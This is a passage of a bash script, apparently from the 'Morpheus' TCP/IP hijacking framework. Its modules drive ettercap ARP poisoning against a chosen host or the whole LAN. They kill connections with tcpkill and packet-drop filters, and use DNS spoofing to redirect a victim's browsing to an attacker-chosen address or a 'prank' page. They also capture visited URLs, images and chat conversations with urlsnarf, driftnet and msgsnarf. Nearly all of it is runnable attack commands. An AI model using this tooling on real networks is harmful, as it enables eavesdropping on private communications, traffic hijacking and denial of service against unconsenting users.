xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -L $IPATH/logs/packet_drop -M ARP /$rhost// /$gateway//
fi
else
if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
xterm -T "MORPHEUS - TCPKILL [ctrl+c to abort]" -geometry 120x27 -e "tcpkill -i $InT3R -7 host $fil_one" & ettercap -T -Q -i $InT3R -F $IPATH/output/packet_drop.ef -L $IPATH/logs/packet_drop -M ARP /$rhost/ /$gateway/
fi
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
mv $IPATH/filters/packet_drop.rb $IPATH/filters/packet_drop.eft > /dev/null 2>&1
# port-forward
# echo "0" > /proc/sys/net/ipv4/ip_forward
sleep 2
rm $IPATH/output/packet_drop.ef > /dev/null 2>&1
cd $IPATH
# stop background running proccess
# sudo pkill ettercap > /dev/null 2>&1
# sudo pkill tcpkill > /dev/null 2>&1
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -----------------------------------------
# REDIRECT TARGET TRAFIC TO ANOTHER IP ADDR
# -----------------------------------------
sh_stage4 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will ask user to input an domain name to redirect ${BlueF}|"
echo "${BlueF} | ${YellowF} all browser surfing in target to the selected domain. ${BlueF}|"
echo "${BlueF} | ${YellowF} 'All [.com] domains will be redirected to the spoof addr' ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
fil_one=$(zenity --title="☠ DOMAIN TO SPOOF ☠" --text "example: 31.192.120.44\nWARNING: next value must be decimal..." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
sleep 1
# backup all files needed.
cd $IPATH/bin
cp $IPATH/bin/etter.dns etter.rb > /dev/null 2>&1 # backup
cp $Edns /tmp/etter.dns > /dev/null 2>&1 # backup
cp $IPATH/filters/redirect.eft $IPATH/filters/redirect.rb > /dev/null 2>&1 # backup
# use SED bash command to config our etter.dns
sed -i "s|TaRgEt|$fil_one|g" etter.dns # NO dev/null to report file not existence :D
sed -i "s|PrE|$PrEfI|g" etter.dns > /dev/null 2>&1
cp $IPATH/bin/etter.dns $Edns > /dev/null 2>&1
echo ${BlueF}[☠]${white} Etter.dns configurated...${Reset};
# using SED bash command to config redirect.eft
sed -i "s|IpAdR|$fil_one|g" $IPATH/filters/redirect.eft > /dev/null 2>&1
cd $IPATH
sleep 1
# compiling redirect.eft to be used in ettercap
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/redirect.eft"
echo ${BlueF}[☠]${white} Compiling redirect.eft${RedF}!${Reset};
sleep 1
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/redirect.eft -o $IPATH/output/redirect.ef && sleep 3"
echo ${BlueF}[☠]${white} Start apache2 webserver...${Reset};
/etc/init.d/apache2 start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting apache2 webserver" --percentage=0 --auto-close --width 270 > /dev/null 2>&1
# run mitm+filter
cd $IPATH/logs
echo ${BlueF}[☠]${white} Running ARP poison + etter filter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -L $IPATH/logs/redirect -M ARP /$rhost// /$gateway//
fi
else
if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -L $IPATH/logs/redirect -M ARP /$rhost/ /$gateway/
fi
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
/etc/init.d/apache2 stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting apache2 webserver" --percentage=0 --auto-close --width 270 > /dev/null 2>&1
rm $IPATH/output/redirect.ef > /dev/null 2>&1
mv /tmp/etter.dns $Edns > /dev/null 2>&1
mv $IPATH/bin/etter.rb $IPATH/bin/etter.dns > /dev/null 2>&1
mv $IPATH/filters/redirect.rb $IPATH/filters/redirect.eft > /dev/null 2>&1 # backup
cd $IPATH
# port-forward
# echo "0" > /proc/sys/net/ipv4/ip_forward
sleep 2
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -----------------------------------------------
# REDIRECT TARGET TRAFIC TO GOOGLE SPHERE (prank)
# -----------------------------------------------
sh_stage5 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will redirect target browsing surfing under ${BlueF}|"
echo "${BlueF} | ${YellowF} mitm attacks to google sphere website (google prank) ${BlueF}|"
echo "${BlueF} | ${YellowF} 'All [.com] domains will be redirected to mrdoob.com' ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
sleep 1
# backup all files needed.
cd $IPATH/bin
cp $IPATH/bin/etter.dns etter.rb > /dev/null 2>&1 # backup
cp $Edns /tmp/etter.dns > /dev/null 2>&1 # backup
cp $IPATH/filters/redirect.eft $IPATH/filters/redirect.rb > /dev/null 2>&1 # backup
# use SED bash command to config our etter.dns
sed -i "s|TaRgEt|$IP|g" etter.dns # NO dev/null to report file not existence :D
sed -i "s|PrE|$PrEfI|g" etter.dns > /dev/null 2>&1
cp $IPATH/bin/etter.dns $Edns > /dev/null 2>&1
echo ${BlueF}[☠]${white} Etter.dns configurated...${Reset};
# using SED bash command to config redirect.eft
sed -i "s|IpAdR|http://mrdoob.com/projects/chromeexperiments/google-sphere/|g" $IPATH/filters/redirect.eft > /dev/null 2>&1
# copy files needed to apache2 webroot...
cp -R $IPATH/bin/phishing/"Google Sphere_files" $ApachE > /dev/null 2>&1
cp $IPATH/bin/phishing/index.html $ApachE > /dev/null 2>&1
cd $IPATH
sleep 1
# compiling packet_drop.eft to be used in ettercap
xterm -T "MORPHEUS SCRIPTING CONSOLE" -geometry 115x36 -e "nano $IPATH/filters/redirect.eft"
echo ${BlueF}[☠]${white} Compiling redirect.eft${RedF}!${Reset};
sleep 1
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/redirect.eft -o $IPATH/output/redirect.ef && sleep 3"
echo ${BlueF}[☠]${white} Start apache2 webserver...${Reset};
/etc/init.d/apache2 start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting apache2 webserver" --percentage=0 --auto-close --width 270 > /dev/null 2>&1
# run mitm+filter
cd $IPATH/logs
echo ${BlueF}[☠]${white} Running ARP poison + etter filter${RedF}!${Reset};
echo ${YellowF}[☠]${white} Press ${YellowF}[q]${white} to quit ettercap framework${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
if [ "$LoGs" = "NO" ]; then
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -M ARP /$rhost// /$gateway//
else
echo ${GreenF}[☠]${white} Using IPv6 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -L $IPATH/logs/sphere_prank -M ARP /$rhost// /$gateway//
fi
else
if [ "$LoGs" = "YES" ]; then
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -M ARP /$rhost/ /$gateway/
else
echo ${GreenF}[☠]${white} Using IPv4 settings${RedF}!${Reset};
ettercap -T -q -i $InT3R -P dns_spoof -L $IPATH/logs/sphere_prank -M ARP /$rhost/ /$gateway/
fi
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
/etc/init.d/apache2 stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting apache2 webserver" --percentage=0 --auto-close --width 270 > /dev/null 2>&1
rm $IPATH/output/redirect.ef > /dev/null 2>&1
mv /tmp/etter.dns $Edns > /dev/null 2>&1
mv $IPATH/bin/etter.rb $IPATH/bin/etter.dns > /dev/null 2>&1
mv $IPATH/filters/redirect.rb $IPATH/filters/redirect.eft > /dev/null 2>&1 # backup
rm -R $ApachE/"Google Sphere_files" > /dev/null 2>&1
cd $IPATH
# port-forward
# echo "0" > /proc/sys/net/ipv4/ip_forward
sleep 2
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -----------------------------------------------
# CAPTURE TARGET BROWSING HISTORY [URL's VISITED]
# -----------------------------------------------
sh_stage6 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will capture target browsing surfing [url visited] ${BlueF}|"
echo "${BlueF} | ${YellowF} and display then with the help of urlsnarf, this module will ${BlueF}|"
echo "${BlueF} | ${YellowF} also store urls visited into morpheus/logs/grab_hosts.log ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
ch=`which urlsnarf`
if [ "$ch" != "$UsNar" ]; then
echo ${RedF}[x]${white} msgsnarf utility not found${RedF}!${Reset};
sleep 1
echo ${RedF}[x]${white} please Install:${RedF}dsniff${white} packet...${Reset};
sleep 3
sh_exit
fi
# get user input to build filter
rm $IPATH/logs/grab_hosts.log > /dev/null 2>&1
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
UpL=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
sleep 1
# backup all files needed.
cd $IPATH/bin
cp $IPATH/filters/grab_hosts.eft $IPATH/filters/grab_hosts.rb > /dev/null 2>&1 # backup
# use SED bash command
sed -i "s|TaRgEt|$UpL|g" $IPATH/filters/grab_hosts.eft > /dev/null 2>&1
cd $IPATH
sleep 1
# compiling UserAgent.eft to be used in ettercap
echo ${BlueF}[☠]${white} Compiling grab_hosts.eft${RedF}!${Reset};
xterm -T "MORPHEUS - COMPILING" -geometry 90x26 -e "etterfilter $IPATH/filters/grab_hosts.eft -o $IPATH/output/grab_hosts.ef && sleep 3"
sleep 1
# run mitm+filter
cd $IPATH/logs
echo ${BlueF}[☠]${white} Please wait, Capturing ${YellowF}HTTP${white} traffic${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
echo ${RedF} # webspy -i $InT3R $UpL
xterm -T "browsing capture [press ctrl+c to exit]" -geometry 120x27 -e "urlsnarf -i $InT3R | cut -d '\"' -f4" & ettercap -T --visual text -q -i $InT3R -F $IPATH/output/grab_hosts.ef -M ARP /$rhost// /$gateway//
else
echo ${RedF}
xterm -T "browsing capture [press ctrl+c to exit]" -geometry 120x27 -e "urlsnarf -i $InT3R | cut -d '\"' -f4" & ettercap -T --visual text -q -i $InT3R -F $IPATH/output/grab_hosts.ef -M ARP /$rhost/ /$gateway/
fi
# check if exist any reports
dd=`ls $IPATH/logs`
cd $IPATH/logs
tr -cd '\11\12\15\40-\176' < grab_hosts.log > clean-file.log # remove non-ancii caracters
mv clean-file.log grab_hosts.log > /dev/null 2>&1
if ! [ -z "$dd" ]; then
# display captured brosing hitory to user
HoSt=`cat $IPATH/logs/grab_hosts.log | grep "Host:"` > /dev/null 2>&1
echo ""
echo "${white}Host:${YellowF} $UpL ${white}browsing history${RedF}!"
echo "$HoSt"
Qu=$(zenity --info --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "logfiles stored $IPATH/logs" --width 270) > /dev/null 2>&1
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
mv $IPATH/filters/grab_hosts.rb $IPATH/filters/grab_hosts.eft > /dev/null 2>&1 # backup
rm $IPATH/output/grab_hosts.ef > /dev/null 2>&1
cd $IPATH
sleep 2
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -------------------------------------------
# CAPTURE TARGET BROWSING PICTURES (DRIFTNET)
# -------------------------------------------
sh_stage7 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will allow users to Capture images from target ${BlueF}|"
echo "${BlueF} | ${YellowF} network traffic and display them in an X window. ${BlueF}|"
echo "${BlueF} | ${YellowF} ${BlueF}|"
echo "${BlueF} | ${YellowF} HINT: morpheus will store the captured images into logs/capture ${BlueF}|"
echo "${BlueF} | ${YellowF} but it will delete the contents of capture folder in the end. ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
ch=`which driftnet`
if [ "$ch" != "$DrIn" ]; then
echo ${RedF}[x]${white} driftnet utility not found${RedF}!${Reset};
sleep 1
echo ${RedF}[x]${white} please Install:${RedF}driftnet${white} packet...${Reset};
sleep 3
sh_exit
fi
# get user input to build filter
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
UpL=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
mkdir $IPATH/logs/capture > /dev/null 2>&1
sleep 1
echo ${BlueF}[☠]${white} Folder: logs/capture build${RedF}!${Reset};
sleep 1
# run mitm+filter
cd $IPATH/logs
echo ${BlueF}[☠]${white} Please wait, Capturing ${YellowF}HTTP${white} traffic${RedF}!${Reset};
sleep 2
if [ "$IpV" = "ACTIVE" ]; then
echo ${RedF} # webspy -i $InT3R $UpL
driftnet -i $InT3R -d capture & ettercap -T --visual text -Q -i $InT3R -P dns_spoof -M ARP /$rhost// /$gateway//
else
echo ${RedF}
driftnet -i $InT3R -d capture & ettercap -T --visual text -Q -i $InT3R -P dns_spoof -M ARP /$rhost/ /$gateway/
fi
# clean up
echo ${BlueF}[☠]${white} Cleaning recent files${RedF}!${Reset};
rm -r $IPATH/logs/capture > /dev/null 2>&1
cd $IPATH
sleep 2
else
echo ${RedF}[x]${white} Abort current tasks${RedF}!${Reset};
sleep 2
fi
}
# -----------------------------------------------------
# CAPTURE TARGET CHAT CONVERSATIONS [IRC,AOL,YAHOO,MSN]
# -----------------------------------------------------
sh_stage8 () {
echo ""
echo "${BlueF} ╔───────────────────────────────────────────────────────────────────╗"
echo "${BlueF} | ${YellowF} This module will capture target chat conversations in real time ${BlueF}|"
echo "${BlueF} | ${YellowF} of IRC,AOL,YAHOO,MSN,POP3 using msgsnarf as backend application ${BlueF}|"
echo "${BlueF} ╚───────────────────────────────────────────────────────────────────╝"
echo ""
sleep 2
# run module?
rUn=$(zenity --question --title="☠ MORPHEUS TCP/IP HIJACKING ☠" --text "Execute this module?" --width 270) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
ch=`which msgsnarf`
if [ "$ch" != "$MsGnA" ]; then
echo ${RedF}[x]${white} msgsnarf utility not found${RedF}!${Reset};
sleep 1
echo ${RedF}[x]${white} please Install:${RedF}dsniff${white} packet...${Reset};
sleep 3
sh_exit
fi
# get user input to build filter
rm $IPATH/logs/chat_services.log > /dev/null 2>&1
echo ${BlueF}[☠]${white} Enter filter settings${RedF}! ${Reset};
rhost=$(zenity --title="☠ Enter RHOST ☠" --text "'morpheus arp poison settings'\n\Leave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
gateway=$(zenity --title="☠ Enter GATEWAY ☠" --text "'morpheus arp poison settings'\nLeave blank to poison all local lan." --entry --width 270) > /dev/null 2>&1
UpL=$(zenity --title="☠ HOST TO FILTER ☠" --text "example: $IP\nchose target to filter through morpheus." --entry --width 270) > /dev/null 2>&1
echo ${BlueF}[☠]${white} Backup files needed${RedF}!${Reset};
sleep 1
# backup all files needed.
cd $IPATH/bin
cp $IPATH/filters/chat_services.eft $IPATH/filters/chat_services.rb > /dev/null 2>&1 # backup
# use SED bash command
sed -i "s|TaRgEt|$UpL|g" $IPATH/filters/chat_services.eft > /dev/null 2>&1
cd $IPATH